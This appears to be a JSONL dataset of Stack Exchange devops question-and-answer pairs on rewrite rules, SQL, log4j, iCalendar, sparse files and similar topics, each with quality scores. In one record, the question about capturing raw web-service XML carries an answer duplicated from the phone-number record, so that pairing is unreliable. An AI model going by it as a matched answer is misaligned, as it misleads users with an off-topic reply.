{"id": "hf_d71255560922", "question": "<p>I have this rewrite rule</p>\n\n<pre><code>RewriteEngine On\nRewriteBase /location/\nRewriteRule ^(.+)/?$ index.php?franchise=$1\n</code></pre>\n\n<p>Which is suppose to change this URL</p>\n\n<pre><code>http://example.com/location/kings-lynn\n</code></pre>\n\n<p>Into this one</p>\n\n<pre><code>http://example.com/location/index.php?franchise=kings-lynn\n</code></pre>\n\n<p>But instead I am getting this</p>\n\n<pre><code>http://example.com/location/index.php?franchise=index.php\n</code></pre>\n\n<p>Also, adding a railing slash breaks it. I get index.php page showing but none of the style sheets or javascript are loading.</p>\n\n<p>I'm clearly doing something very wrong but I have no idea what despite spending all day R'ingTFM and many online primers and tutorials and questions on here. </p>\n", "question_body": "", "answer": "Your problem is you are redirecting twice.\n```\n'location/index.php'\n```\nmatches the regex\n```\n^(.+)/?$\n```\nYou want to possibly use the \"if file does not exist\" conditional to make it not try mapping a second time.\n```\n```\nRewriteEngine on\nRewriteBase /location/\nRewriteCond %{REQUEST_FILENAME} !-f   # ignore existing files\nRewriteCond %{REQUEST_FILENAME} !-d   # ignore existing directories\nRewriteRule ^(.+)/?$ index.php?franchise=$1  [L,QSA]\n```\n```\nAnd additonally, theres the [L,QSA] which tries to make it the \"last\" rule ( Note, this is not entirely obvious how it works ) and append the query string to the query, so that\n```\n```\nlocation/foobar/?baz=quux  ==> index.php?franchise=$1&baz=quux\n```\n```\n( i think )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.107569"}
{"id": "hf_a3e008583d21", "question": "<p>Every example I've seen of CGI/Perl basically a bunch of print statements containing HTML, and this doesn't seem like the best way to write a CGI app.  Is there a better way to do this?  Thanks.</p>\n\n<p>EDIT: I've decided to use CGI::Application and HTML::Template, and use the following tutorial: <a href=\"http://docs.google.com/View?docid=dd363fg9_77gb4hdh7b\" rel=\"noreferrer\"><a href=\"http://docs.google.com/View?docid=dd363fg9_77gb4hdh7b\" rel=\"noreferrer\">http://docs.google.com/View?docid=dd363fg9_77gb4hdh7b</a></a>.  Thanks!</p>\n", "question_body": "", "answer": "Absolutely (you're probably looking at tutorials from the 90s). You'll want to pick a framework. In Perl-land these are the most popular choices:\nCGI::Application\n- very lightweight with lots of community plugins\nCatalyst\n- heavier with more bells and whistles\nJifty\n- more magical than the above", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.138280"}
{"id": "hf_04b5d3e9c1ff", "question": "<p>I've got a maintenance plan that executes weekly in the off hours. It's always reporting success, but the old backups don't get deleted. I don't want the drive filling up.</p>\n\n<p>DB Server info: SQL Server Standard Edition 9.00.3042.00 </p>\n\n<p>There is a \"Maintenance Cleanup Task\" set to </p>\n\n<p>\"Search folder and delete files based on an extension\" </p>\n\n<p>and \"Delete files based on the age of the file at task run time\" is checked and set to 4 weeks. </p>\n\n<p>The only thing I can see is that my backups are each given their own subfolder and that this is not recursive. Am I missing something?</p>\n\n<p>Also: I have seen the issues pre-SP2, but I am running service pack 2. </p>\n", "question_body": "", "answer": "My understanding is that you can only include the first level of subfolders.  I am assuming that you have that check-box checked already.\nAre your backups deeper than the just one level?\nAnother thought is, do you have one single maintenance plan that you run to delete backups of multiple databases?  The reason I ask this is because the way I could see that you would have to do that would be to point it to a folder that was one level higher meaning that your \"include first-level subfolders\" would not be deep enough.\nThe way I have mine set up is that the Maintenance Cleanup Task is part of my backup process.  So once the backup completes for a specific database the Maintenance Cleanup Task runs on that same database backup files.  This allows me to be more specific on the directory so I don't run into the directory structure being too deep.  Since I have the criteria set the way I want, items don't get deleted till I am ready for them to be deleted either way.\nTim", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.204511"}
{"id": "hf_3ac6a7498a0d", "question": "<p>Given a collection of user specified tags how do I determine which ones <strong>are not</strong> in the tags table with 1 SQL Statement?</p>\n\n<p>Assuming a table schema <code>tags (id, tag)</code> and I'm using mysql, if there's an optimization I'm unaware of.</p>\n\n<p>thanks</p>\n", "question_body": "", "answer": "```\n```\nselect * from canonical_list_of_tags where tag not in (select tag from used_tags)\n```\n```\nAt least that works in T-SQL for SQL Server ...\nEdit:\nAssuming that the table\n```\ncanonical_list_of_tags\n```\nis populated with the result of \"\nGiven a collection of user specified tags\n\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.228848"}
{"id": "hf_55b01f813883", "question": "<p>How do I make an instance of gwtext.client.widgets.Window  appear at specific DIV in my html ? I tried window.anchorTo(DOM.getElementById(\"Some_Div\"),\"left\", new int[]{0,0}), thinking the window will anchor itself to div id=\"Some_Div\"   in my html. it didnt. </p>\n", "question_body": "", "answer": "I haven't used the gwt-ext library in a couple of months, but you might want to try this if you haven't already. It\nshould\nattach the widget where you want it. That said, there are some cases where the gwt-ext widgets react in ways that are not intuitive to someone who really understands the normal GWT widgets.\n```\n```\nRootPanel.get(\"Some_Div_Id\").add( someWidget )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.252757"}
{"id": "hf_3cab052396aa", "question": "<p>How would you handle cross database queries in different environments.  For example, db1-development and db2-development, db1-production and db2-production. </p>\n\n<p>If I want to do a cross-database query in development from db2 to db1 I could use the fully qualified name, [db1-development].[schema].[table].  But how do I maintain the queries and stored procedures between the different environments?  [db1-development].[schema].[table] will not work in production because the database names are different.</p>\n\n<p>I can see search and replace as a possible solution but I am hoping there is a more elegant way to solve this problem. If there are db specific solutions, I am using SQL Server 2005.</p>\n", "question_body": "", "answer": "Why are the database names different between dev and prod? It'd, obviously, be easiest if they were the same.\nIf it's a single table shared, then you could create a view over it - which only requires that you change that view when moving to production.\nOtherwise, you'll want to\ncreate a SYNONYM\nfor the objects, and make sure to always reference that. You'll still need to change the SYNONYM creation scripts, but that can be done in a build script fairly easily, I think.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.276074"}
{"id": "hf_efb2110346da", "question": "<p>With the age of text messages and things like that, what's a good way to store phone numbers in a database?</p>\n\n<p>In the USA, text messages are handled by phone numbers but in other countries I hear they use email addresses so I guess there needs to be a way to differentiate between countries that use cell phone numbers as their address.  </p>\n\n<p>Addition:\nFor example, people in the USA might use 432-342-3333 or 1-432-342-3333 while in the UK they might use +44 800 400000 or they might even leave out the 44.  The 44 and the 1 makes a difference when automatically sending out SMS.  However, checking the phone number for each country can get tedious.  In this case, would you split the country code or would you merge it into a single column and deal it with it there?  </p>\n", "question_body": "", "answer": "I don't know if you have read these two questions, but they might help you a little.\nPhone Number Columns in a Database\nIs there a standard for storing normalized phone numbers in a database?\nPerhaps it would be wise to store the type of number (landline, cell, fax) and/or the messages that can be received on it (voice, text, email). Note that in the US, it is also possible to send text messages to a phone via email, but I believe that is dependent on the carrier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.299457"}
{"id": "hf_d276141ae02c", "question": "<p>Does anyone know of a simple way of getting the raw xml that is returned from querying a webservice?</p>\n\n<p>I have seen a way of doing this via <a href=\"http://devlicio.us/blogs/billy_mccafferty/archive/2006/10/09/Examine-XML-of-Web-Service-Response.aspx\" rel=\"noreferrer\">Web Services Enhancements</a>, but I don't want an added dependency.</p>\n", "question_body": "", "answer": "I don't know if you have read these two questions, but they might help you a little.\nPhone Number Columns in a Database\nIs there a standard for storing normalized phone numbers in a database?\nPerhaps it would be wise to store the type of number (landline, cell, fax) and/or the messages that can be received on it (voice, text, email). Note that in the US, it is also possible to send text messages to a phone via email, but I believe that is dependent on the carrier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.323903"}
{"id": "hf_53ee21a7aeee", "question": "<p>I keep finding files which show a size of 10kb but a size on disk on 10gb.  Trying to figure out how this is done, anyone have any ideas?</p>\n", "question_body": "", "answer": "You can make sparse files on NTFS, as well as on any real filesystem. :-)\nSeek to (10 GB - 10 kB), write 10 kB of data. There, you have a so-called 10 GB file, which in reality is only 10 kB big. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.348499"}
{"id": "hf_9f5785c5b3a0", "question": "<p>I have an application for which log4j logging is configured in a log4j.properties file.  Currently, this application runs on UNIX and creates a log file in /tmp.  This application needs to run on Windows, and on that platform I would like for it to select the correct temporary directory, which I believe is C:\\temp.</p>\n\n<p>How can I change my log4j.properties file to make this happen?  Do I need to switch to using an XML configuration file?</p>\n", "question_body": "", "answer": "I think you would just use\n```\n${java.io.tmpdir}\n```\nin place of a hard-coded path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.399317"}
{"id": "hf_f58443e037e4", "question": "<p>I'm running Xorg and my (Qt) program daemonises itself. Now I log out and restart the X server. When I log in again my process is still running fine, but I can't see it.</p>\n\n<p>Is there a way of attatching the new incarnation of the X server to the old process?\nIf I don't restart the whole server, but log out and in again, is there a way to look at the old process?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "After the connection to the X server is lost, it is not possible to regain it.\nThere was an xserver proxy called xmove, but it is quite deprecated and doesn't work with several newer X extension, which are likely used by modern toolkits.\nYou could try to run your process in another virtual X server like xvnc or (better) NX. NX is a X proxy technology developed by NoMachine. There exist free implementations of NX servers as well.\nIf you run your program inside such a server, it is possible to attach and detach from it from arbitrary graphical environments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.461612"}
{"id": "hf_19be2f107aee", "question": "<p>Googling has turned up little to nothing.</p>\n\n<p>I need to develop some heavy stuff in m4 and I'd love to do it in my favorite environment with all the bells and whistles thereof.</p>\n\n<p>There are packages for running m4 on just about every platform, such as <a href=\"http://gnuwin32.sourceforge.net/packages/m4.htm\" rel=\"nofollow noreferrer\">windows</a>. So I know at the very least I can create a default project and test from the CLI. But I'd rather not :)</p>\n", "question_body": "", "answer": "I'm not aware of any specific editing support for m4. However, if you have some time to spare (!) and the BNF for m4, then you could use Xtext (\nhttp://wiki.eclipse.org/Xtext\n) to create a syntax-coloring and -completing editor, with an outline view.\nUpdated\nan answer below suggests that m4 doesn't have a BNF, or is not BNeFfable, and certainly a short search of the literature shows no claims that an m4 BNF is available - and it appears, though not explicitly stated, that the m4 language is inexpressible in this way.\nObviously this negates my suggestion, so I must retract it, unless of course Xtext has been extended to deal with such languages. Consult the Xtext website linked above for FAQs and mailing list links.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.489756"}
{"id": "hf_ff8c83fc74e9", "question": "<p>In a legacy project that I'm on, we have several processing that are preformed via DTS. DTS is not something I worked with a lot back in its hey day.... I was in college. </p>\n\n<p>More specificity, these process are in ActiveX code blocks -- which is basically VBScript for database. It is really hard to debug. </p>\n\n<p>Anyway, I'm wondering if any past or present experienced DTS professionals can offer tips on how to deal with <strong>debugging</strong>, <strong>troubleshooting</strong> or otherwise dealing with <strong>DTS package development</strong>.</p>\n\n<p>This this question is marked as community wiki, I'm hoping to have general and targeted ideas and methods for all types of DTS package implementations.</p>\n", "question_body": "", "answer": "In the scripting portion, I have used the MsgBox to display \"I got here\" or \"xfer worked\" or whatever you want to indicate something happened which is not so obvious at run time.\nYou can also use conditional statements to branch off to an 'End' if you are testing a particular portion of the flow.\nIf you are stuck working with DTS, but are also running a SQL Server 2005 instance, you might see if you cant upgrade the DTS packages to DTSX (SQL Server Integration Services) and re-do them there.  I know this isn't a 'trick' but you work in the VS2005 IDE, can write in .NET and also you can set break-points and will make life in 'DTS' world much easier.\nThere are also some articles here:\nhttp://www.databasejournal.com/article.php/1503191\nScroll down and you will see the \"SQL Server 2000 DTS\" articles.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.513977"}
{"id": "hf_ccfbea95b654", "question": "<p>So, I'd like to be able to set the max log file size to 64M, but after doing so with <code>innodb_log_file_size=64M</code> MySQL starts OK, but nothing seems to work properly. </p>\n\n<p><strong>EDIT:</strong> and by properly I mean not at all. Setting other InnoDB variables aren't causing any problems.</p>\n\n<p>How should I go about troubleshooting this one?</p>\n", "question_body": "", "answer": "Make sure MySQL shuts down cleanly, and delete (or move elsewhere) all\n```\nib_logfile*\n```\nfiles from MySQL data directory (\n```\n/var/lib/mysql/\n```\nusually).\nI've tested it and worked for me. Here's\nsource of this hint\n.\nInnoDB reports some errors in\n```\nshow table status\n```\ncomment field. You'll find other problems in MySQL error log (\n```\nhostname.err\n```\nin MySQL data directory).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.561494"}
{"id": "hf_69043eee9c27", "question": "<p>I am working on a windows form application. How do i use the find method of a datatable to find a row if the datatable has a compound key?</p>\n\n<p>Table Structure\nCol A, Col B, Col C</p>\n\n<p>Col A and Col B make up the compound key.\nI want to find the row where the value in Col A is 6 and Col B is 5</p>\n", "question_body": "", "answer": "When you \"set\" the Primary key of the datatable, the parameter value is an array of DataColumns...\nif your datatable is in variable dt...,\n```\n```\ndt.PrimaryKey = new DataColumn[] {dt.Columns[\"ColA\"], dt.Columns[\"ColB\"]};\n```\n```\nThen pass an array of object values to the Find() method\n```\n```\nobject[] keyVals = new object[] {6, 5};\nDataRow dr = dt.Rows.Find(keyVals);\n```\n```\nor, just\n```\n```\nDataRow dr = dt.Rows.Find(new object[] {6, 5});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.608340"}
{"id": "hf_7ad4b7006251", "question": "<p>I have two SQL scripts which get called within a loop that accept a number parameter. Here is what I'm currently using:</p>\n\n<pre><code>for /l %%i in (1, 1, 51) do (\n    sqlplus u/p@name @script.sql a%%i.html %%i\n    sqlplus u/p@name @script.sql b%%i.html %%i\n)\n</code></pre>\n\n<p>Everything works fine, but it seems like a waste of time and resources to connect twice for each pass through. Is there a way I could simply log into sqlplus, run the for loop, then exit? I tried many alternatives such as putting</p>\n\n<pre><code>sqlplus u/p@name\n</code></pre>\n\n<p>before the for loop, but then it would simply hang at the SQL> prompt without executing any of my two scripts.</p>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "You can create a masterscript.sql that contains your two script.sql statements.\nThe only thing I'm not sure about is if it will pass in your variables.\nMasterScript.sql would contain:\n```\n```\n@@script1.sql\n@@script2.sql\n```\n```\nand neither of your sub-scripts should contain an exit.\nDifferences between \"@\" and \"@@\"\n:\nhttp://www.orafaq.com/wiki/SQL\n*Plus_FAQ#What_is_the_difference_between_.40_and_.40.40.3F", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.633045"}
{"id": "hf_a2bb7672a811", "question": "<p>Can I export multiple calendar events into a single iCalendar file?  </p>\n", "question_body": "", "answer": "You simply make an iCalendar file with multiple VEVENT sections. For example:\n```\n```\nBEGIN:VCALENDAR\nBEGIN:VEVENT\nDESCRIPTION:\nDTEND:20071202T220000Z\nDTSTAMP:20081124T220920Z\nDTSTART:20071202T200000Z\nLOCATION:Wherever\nSTATUS:CONFIRMED\nSUMMARY:An event\nUID:event-the-first\nEND:VEVENT\nBEGIN:VEVENT\nDESCRIPTION:Doing whatever, because for no good reason.\nDTEND:20071209T210000Z\nDTSTAMP:20081124T220920Z\nDTSTART:20071207T190000Z\nLOCATION:A specific place\nSTATUS:CONFIRMED\nSUMMARY:Something, somewhere\nUID:event-the-second\nEND:VEVENT\nEND:VCALENDAR\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.669579"}
{"id": "hf_e12eb7c6e8f3", "question": "<p>If you have a situation where you need to know where a boolean value wasn't set (for example if that unset value should inherit from a parent value) the Java boolean primitive (and the equivalent in other languages) is clearly not adequate.</p>\n\n<p>What's the best practice to achieve this?  Define a new simple class that is capable of expressing all three states or use the Java Boolean class and use null to indicate the unset state?</p>\n", "question_body": "", "answer": "```\n```\nBoolean a = true;\nBoolean b = false;\nBoolean c = null;\n```\n```\nI would use that. It's the most straight-forward.\nAnother way is to use an enumeration. Maybe that's even better and faster, since no boxing is required:\n```\n```\npublic enum ThreeState {\n    TRUE,\n    FALSE,\n    TRALSE\n};\n```\n```\nThere is the advantage of the first that users of your class doesn't need to care about your three-state boolean. They can still pass\n```\ntrue\n```\nand\n```\nfalse\n```\n. If you don't like the\n```\nnull\n```\n, since it's telling rather little about its meaning here, you can still make a\n```\npublic static final Boolean tralse = null;\n```\nin your class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.693226"}
{"id": "hf_e839db11347c", "question": "<p>I have an application in which HttpRuntime.AppDomainAppPath returns the correct path with the wrong casing.</p>\n\n<p>I am then trying to use this in a String.Replace and it does not find the path in the filename due to casing.</p>\n\n<p>I am aware that I can use Regex.Replace but would prefer not to.</p>\n\n<p>I have this problem only on the production machine even though the folder in question has the same casing in dev.</p>\n\n<p>I have just noticed that Server.MapPath also returns the wrong casing.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "A few things:\nIf you don't care about casing, use .ToUpper or .ToLower, and replace on that.\n```\n```\nDim path As String = HttpRuntime.AppDomainAppPath.ToUpper\nDim newpath As String = Replace(path, \"fnd\", \"rplc\")\n```\n```\nIf that is not an option try changing the compare method in your replace function.\nYou didn't specify a language, so I cannot give a specific example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.717729"}
{"id": "hf_28654bb8171c", "question": "<p>Here's a simple (hopefully) L10N question:</p>\n\n<p>Do all locales want this format: </p>\n\n<p><em>Sunday, Nov 23, 2008</em></p>\n\n<p>with the weekday before the date, or do some locales want it after the date like this?</p>\n\n<p><em>Nov 23, 2008, Sunday</em></p>\n", "question_body": "", "answer": "I can't answer for all locales, but in French, we say \"dimanche 23 novembre 2008\", so for us, the answer is yes.\nNow, I don't know your purpose, but you probably shouldn't make any guess like that anyway...\n[EDIT] Funnily, I found an example in analyzing how the zh_TW locale is setting the date/time formats in Java 1.4. I found the format for this locale to be (after decompiling it):\n```\n```\n\"ahh'\\u6642'mm'\\u5206'ss'\\u79D2' z\", \n\"ahh'\\u6642'mm'\\u5206'ss'\\u79D2'\", \n\"a hh:mm:ss\", \n\"a h:mm\", \n\"yyyy'\\u5E74'M'\\u6708'd'\\u65E5' EEEE\", \n\"yyyy'\\u5E74'M'\\u6708'd'\\u65E5'\", \n\"yyyy/M/d\", \n\"yyyy/M/d\", \n\"{1} {0}\"\n```\n```\nwhile default, for US (found on the Net), is:\n```\n```\n\"h:mm:ss a z\", // full time pattern\n\"h:mm:ss a z\", // long time pattern\n\"h:mm:ss a\", // medium time pattern\n\"h:mm a\", // short time pattern\n\"EEEE, MMMM d, yyyy\", // full date pattern\n\"MMMM d, yyyy\", // long date pattern\n\"MMM d, yyyy\", // medium date pattern\n\"M/d/yy\", // short date pattern\n\"{1} {0}\" // date-time pattern\n```\n```\nSee the full date pattern, the EEEE (day in week) is at the end for Taiwan...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.766533"}
{"id": "hf_f8d3d6813f2b", "question": "<p>I'm using shared ASP.NET hosting and I have no remote-desktop access to the web server.  I only have the ability to FTP ASP.NET related files to the server.</p>\n\n<p>In this scenario, how would I see how much memory my ASP.NET application is consuming?</p>\n", "question_body": "", "answer": "Could you create a page that listed various performance counters in a password-protected part of the site?  That would be my suggestion, along with making sure that somewhere on the page, a machine name or IP is listed so that should the site move among various servers, this can be noted somewhere.  Another idea would be to either write to a log file or send an e-mail with various performance counters so that you could see a history of how the server is doing, but be careful on the e-mail that this could become spam-like if you do it too frequently.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.790637"}
{"id": "hf_c36da11f5479", "question": "<p>Wanting to deploy my project on different servers I would prefer to be able to specify a connect string using a relative path. I can't seem to get that to work and want to know if there is some trick to it...?</p>\n", "question_body": "", "answer": "A suggestion\nYou could build the absolute path in the app and pass that in the connection string.\nSo, if you know that the database file is in the\n```\ndatabase\n```\nsubfolder of the application folder, you could do something like this (C#):\n```\n```\nstring relativePath = @\"database\\myfile.s3db\";\n    string currentPath;\n    string absolutePath;\n    string connectionString;\n\n    currentPath = System.Reflection.Assembly.GetExecutingAssembly().Location;\n    absolutePath = System.IO.Path.Combine(currentPath,relativePath);\n\n    connectionString = string.Format(\"DataSource={0}\", absolutePath);\n\n    SQLiteConnection cnn = new SQLiteConnection(connectionString);\n```\n```\n(Someone can probably correct me on how to get the current path).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.814974"}
{"id": "hf_b63f7f4df388", "question": "<p>I have a string</p>\n\n<pre><code>var s:String = \"This is a line \\n This is another line.\";\nthis.txtHolder.text = s; //.text has \\n, not a new line\n</code></pre>\n\n<p>and i want to put it into a text area, but the new line character is ignored. How can i ensure that the text breaks where i want it to when its assigned?</p>\n", "question_body": "", "answer": "Try\n```\n```\n\"This is a line {\\n} This is another line.\"\n```\n```\nAlternatively, use the htmlText attribute and use\n```\n```\n\"This is a line <br> This is another line.\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.838160"}
{"id": "hf_657f2a63fb00", "question": "<p>There doesn't seem to be much info on this topic so I'm going to outline my specific problem then maybe we can shape the question and the answer into something a bit more universal.</p>\n\n<p>I have this rewrite rule</p>\n\n<pre><code>RewriteEngine On\nRewriteBase /bookkeepers/\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule ^(.+)/?$ index.php?franchise=$1\n</code></pre>\n\n<p>Which is changes this URL</p>\n\n<pre><code>http://example.com/location/kings-lynn\n</code></pre>\n\n<p>Into this one</p>\n\n<pre><code>http://example.com/location/index.php?franchise=kings-lynn\n</code></pre>\n\n<p>The problem I am having is that if I add a trailing slash</p>\n\n<pre><code>http://example.com/location/kings-lynn/\n</code></pre>\n\n<p>then the query string is returned as</p>\n\n<pre><code>franchise=kings-lynn/\n</code></pre>\n\n<p>and for some reason none of my CSS and Javascript files are being loaded.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "It looks like the (.+) is being greedy matched.  In that case, you could try\n```\n```\nRewriteRule ^(.+[^/])/?$ index.php?franchise=$1\n```\n```\nThis makes sure that the first group (in the brackets) doesn't end in a slash.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.873467"}
{"id": "hf_105041a61340", "question": "<p>Is it possible to intercept every request made from a page using javascript? i.e. Clicking on a link, loading an image, ajax request...</p>\n", "question_body": "", "answer": "In a word, no.  There's no place you can hook into to get all the requests.\nHaving said that, you can us javascript to place event handlers on the links, look at the src attribute of image tags and so on.  There's no \"generic\" way to hook into all the AJAX requests - it depends on the library you're using.\nThere are other things to consider, such as CSS background images, Flash (what if a flash file makes a request?).\nIf possible you should be using the browser itself (e.g.\nFirebug\n) or a proxy (e.g.\nFiddler\n) or a packet sniffer (e.g. Ethereal... seems to be\nWireShark\nnow)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.896690"}
{"id": "hf_c3e1657f4efc", "question": "<p>In the past, when I've worked on long-running C++ daemons I've had to deal with heap fragmentation issues.  Tricks like keeping a pool of my large allocations were necessary to keep from running out of contiguous heap space.  </p>\n\n<p>Is this still an issue with a 64 bit address space?  Perf is not a concern for me, so I would prefer to simplify my code and not deal with things like buffer pools anymore.  Does anyone have any experience or stories about this issue?  I'm using Linux, but I imagine many of the same issues apply to Windows.  </p>\n", "question_body": "", "answer": "If your process genuinely needs gigabytes of virtual address space, then upgrading to 64-bit really does instantly remove the need for workarounds.\nBut it's worth working out how much memory you expect your process to be using. If it's only in the region of a gigabyte or less, there's no way even crazy fragmentation would make you run out of 32-bit address space - memory leaks might be the problem.\n(Windows is more restrictive, by the way, since it reserves an impolite amount of address space in each process for the OS).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.920157"}
{"id": "hf_e7f7b5f3b633", "question": "<p>Are the formulas represented in a <a href=\"http://en.wikipedia.org/wiki/Abstract_syntax_tree\" rel=\"nofollow noreferrer\">syntax tree</a> then recalculated using a design pattern like the Visitor pattern? How would you go about reproducing the recalculation process in code?</p>\n", "question_body": "", "answer": "Probably, as you say, one guess is that Excel creates a bunch of ASTs, one for each indipendent group of cells, where the leaves are the originating, static data, and the nodes are formulas.\nThen it calculates the result for each node, with a\npost-order\ntree traversal algorithm.\nYou have to take into account leaf/node cancellation, partial recalculation, ecc. If I'm not wrong, I read somewhere that Excel could benefit of multicore processors to recalculate a sheet in parallel.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.980563"}
